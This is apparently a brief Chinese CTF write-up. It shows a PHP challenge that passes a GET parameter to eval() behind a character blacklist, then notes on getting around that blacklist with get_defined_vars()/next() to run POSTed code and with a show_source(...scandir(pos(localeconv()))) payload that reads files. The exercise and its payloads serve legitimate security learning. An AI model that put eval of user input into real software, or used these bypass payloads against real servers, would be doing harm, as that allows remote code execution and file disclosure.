點選檢視程式碼
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
有點坑的是這裡過濾的括號是中文的不是英文的
上網查發現有好幾種方法 算是腦洞大開了
array_pop()將陣列的值提取出來
get_defined_vars() 是以陣列的形式將所有變數展示出來
next()是取陣列第二個引數
我們post傳入的data=phpinfo() 剛好是第二個引數
所以成功執行
還有方法
show_source(next(array_reverse(scandir(pos(localeconv())))));
還有就是
透過傳sessionid來執行
理論上感覺沒啥問題 傳ls引數也有回顯 但是好像一旦包含了flag.php 就不行了 不過這也是一種思路